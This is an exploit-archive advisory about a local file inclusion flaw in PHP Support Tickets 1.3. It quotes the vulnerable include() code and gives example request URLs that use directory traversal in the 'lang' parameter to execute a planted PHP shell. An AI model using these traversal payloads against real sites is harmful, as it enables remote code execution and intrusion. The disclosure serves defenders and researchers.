what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Support Tickets 1.3 Local File Inclusion

PHP Support Tickets 1.3 Local File Inclusion
Posted Oct 30, 2016
Authored by N_A

PHP Support Tickets version 1.3 suffers from a local file inclusion vulnerability.

tags | exploit, local, php, file inclusion
SHA-256 | 77ce766da24cd320c33836afab1cba31c7c36fbc622860543bfde78eaf3e05f2

PHP Support Tickets 1.3 Local File Inclusion

Change Mirror Download
PHP_S_Tickets_v1.3 File Inclusion Vulnerability
================================================


Discovered by N_A, N_A[at]tutanota.com
=======================================



Description
============

PHP Support Tickets; will allow a webmaster the ability to offer its user base a means to contact its personell through request vouchers.


https://sourceforge.net/projects/php-sup-tickets




Vulnerability
==============


The vulnerability resides inside the index.php file:


############ INCLUDE THE CONFIG, LANGUAGE AND HEADER FILE ############
A
include('config.php');
A
IF (!isset($_REQUEST['lang']))
A A A $_REQUEST['lang'] = $langdefault;
A
include('language/'.$_REQUEST['lang'].'.php');
A
include('header.php');



We can establish that we have direct control over the 'lang' variable by either POST, GET or COOKIE method as this is allowed by PHP.



By default PHP has allow_url_include disabled inside php.ini so RFI may not be possible.




Exploitation
=============


It is possible to execute *any* php file on the server and possibly other vhosts inside the /var/ directory or where other vhosts reside. Any php file will be executed by issuing the correct request i.e a correct directory with the php file inside that you wish to execute.

Example:

http://127.0.0.1/PHP_S_Tickets_v1.3/index.php?lang=/path/to/phpfile

http://127.0.0.1/PHP_S_Tickets_v1.3/index.php?lang=../../../../../../tmp/phpshell


*NOTE - do not issue the request for phpshell.php as the code in the file attaches .php to the end of the requested file so the file name is needed with out the .php extension.

i.eA index.php?../indexA A A A - will open and execute index.php






Email
======

N_A[at]tutanota.com









--
Securely sent with Tutanota. Claim your encrypted mailbox today!
https://tutanota.com
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close